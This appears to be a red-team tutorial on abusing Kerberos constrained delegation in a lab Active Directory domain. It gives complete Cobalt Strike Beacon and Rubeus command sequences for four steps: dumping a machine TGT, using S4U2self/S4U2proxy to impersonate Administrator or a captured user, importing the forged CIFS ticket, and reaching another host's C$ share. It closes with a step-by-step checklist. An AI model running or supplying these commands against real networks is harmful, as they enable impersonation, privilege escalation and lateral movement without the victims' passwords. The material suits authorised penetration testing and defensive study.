Available

Search posts

Kerberos Constrained Delegation

Enumerate msDS-AllowedToDelegateTo, distinguish protocol transition from Kerberos-only delegation, and request and use a service ticket with Rubeus or Kerbeus.

Contents

1. Why the attack works

Classic constrained delegation places a list of permitted back-end SPNs in the front-end account’s msDS-AllowedToDelegateTo. Controlling that front-end identity can allow an attacker to obtain a service ticket to one of those back ends as another user.

S4U2self requests a ticket for a user to the requesting service itself. S4U2proxy uses an evidence ticket to request access to a back-end service. These are different steps; neither requires recovery of the impersonated user’s password.

ModeMaterial required in this labRequest
With protocol transitionFront-end TGT and an eligible user identityS4U2self followed by S4U2proxy
Kerberos-onlyFront-end TGT plus a suitable forwardable user service ticket to the front endS4U2proxy using the captured evidence ticket

TRUSTED_TO_AUTH_FOR_DELEGATION is UAC bit 16777216. It enables the protocol-transition path in this example; it does not bypass account restrictions such as Protected Users or “sensitive and cannot be delegated.” A successful service ticket also does not override the back end’s authorization checks.

2. Enumerate delegation and check the flag

shell
beacon> ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo,userAccountControl
# Lab: LON-WS-1$ -> cifs/lon-fs-1, UAC 16781312

The filter selects computers; user service accounts can also hold this attribute. Check the actual SPN, including whether it is a short name or FQDN.

powershell
[Convert]::ToBoolean(16781312 -band 16777216)
# True: protocol transition is enabled in the lab example.

3. Obtain the front-end TGT

From an elevated Beacon on lon-ws-1, inspect the machine’s SYSTEM logon session. 0x3e7 identifies that session; verify that the returned ticket belongs to LON-WS-1$.

shell
beacon> krb_dump /luid:3e7 /service:krbtgt
# Alternative:
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

4. With protocol transition

Choose the BOF or Rubeus version; both examples target the same delegated SPN.

shell
# OPSEC Alternative
beacon> krb_s4u /ticket:<FRONTEND_TGT_BASE64> /service:cifs/lon-fs-1 /impersonateuser:Administrator

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdsspn:cifs/lon-fs-1 /ticket:<FRONTEND_TGT_BASE64> /impersonateuser:Administrator /nowrap
# Expected stages: S4U2self, then S4U2proxy.
# Keep the final Administrator -> cifs/lon-fs-1 ticket.

5. Without protocol transition

The lab notes use an existing dyork -> HTTP/lon-ws-1 service ticket. A TGT for the user is not a substitute for this front-end evidence ticket, and the front-end TGT alone is insufficient for this path.

shell
beacon> krb_triage
beacon> krb_dump /user:dyork /service:HTTP
# Verify that the selected service ticket is for HTTP/lon-ws-1 and is suitable for delegation.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdsspn:cifs/lon-fs-1 /ticket:<FRONTEND_TGT_BASE64> /tgs:<DYORK_FRONTEND_TICKET_BASE64> /nowrap
# Keep the final dyork -> cifs/lon-fs-1 ticket.

For the next section, use dyork as the session label instead of Administrator when following this second path. The ticket’s actual client identity determines authentication.

Use the resulting service ticket

Use the final service ticket, not the front-end TGT or intermediate S4U2self ticket. Create a separate network-only process, record its returned PID, and select that token in Beacon. FakePass is a placeholder for the network-only session; the imported ticket supplies Kerberos authentication.

shell
# Rubeus Alternative
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
# Record ProcessID and verify that ticket import succeeded.
beacon> steal_token <PID>
beacon> run klist
# Client: Administrator @ CONTOSO.COM
# Server: cifs/lon-fs-1 @ CONTOSO.COM
beacon> ls \\lon-fs-1\c$

A ticket proves an identity to a service; it does not grant permissions absent from that identity. Use the hostname matching the ticket, not an IP address.

Ticket import alternatives

powershell
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
shell
# OPSEC Alternative
beacon> make_token CONTOSO\Administrator FakePass
beacon> kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
beacon> run klist
beacon> ls \\lon-fs-1\c$

For the Kerberos-only dyork path, use CONTOSO\dyork and its final service ticket instead of the Administrator example.

Session cleanup

Purge only the disposable session while its token is selected, then revert and terminate the process created for this test. Do not purge an unrelated user’s cache.

shell
# Native cleanup
beacon> kerberos_ticket_purge
beacon> rev2self
# Rubeus createnetonly path only:
beacon> kill <PID>

Troubleshooting

SymptomCheck
KDC_ERR_BADOPTIONEvidence ticket, forwardability, delegation restrictions and permitted SPN
KDC_ERR_S_PRINCIPAL_UNKNOWNExact SPN registration, account and realm
CIFS ticket issued but access deniedUser’s permissions, destination hostname and active logon session
Only a front-end ticket returnedIdentify whether S4U2proxy actually succeeded

Quick checklist

text
ENUMERATE AND REQUEST
[ ] Read msDS-AllowedToDelegateTo and record the exact permitted SPN.
[ ] Check UAC bit 16777216 to distinguish protocol transition from Kerberos-only delegation.
[ ] krb_dump /luid:3e7 /service:krbtgt -> verify the front-end computer identity.
[ ] With protocol transition: choose an eligible impersonated identity.
[ ] krb_s4u /ticket:<FRONTEND_TGT_BASE64> /service:cifs/lon-fs-1 /impersonateuser:Administrator
[ ] Rubeus alternative: s4u /user:lon-ws-1$ /msdsspn:cifs/lon-fs-1 /ticket:<FRONTEND_TGT_BASE64> /impersonateuser:Administrator /nowrap.
[ ] Without protocol transition: obtain a suitable forwardable user service ticket to the front end.
[ ] Use /tgs:<FRONTEND_USER_TICKET_BASE64> rather than freely selecting /impersonateuser.
[ ] Keep the final back-end ticket and its actual client identity; do not import the intermediate ticket.

IMPORT AND VERIFY — CHOOSE ONE PATH
# OPSEC Alternative
[ ] PowerShell: [IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
[ ] make_token CONTOSO\Administrator FakePass
[ ] kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
# Rubeus Alternative
[ ] createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
[ ] Record the returned PID and LUID; steal_token <CREATED_PID>.
[ ] run klist -> verify the selected session, client identity, target and expiry.
[ ] ls \\lon-fs-1\c$ -> verify actual service authorization.
[ ] For the captured dyork evidence-ticket path, keep dyork as the imported ticket identity.

CLEANUP
[ ] Purge only the selected disposable cache: krb_purge or kerberos_ticket_purge.
[ ] rev2self -> restore the original token.
[ ] Rubeus createnetonly path only: kill <CREATED_PID>.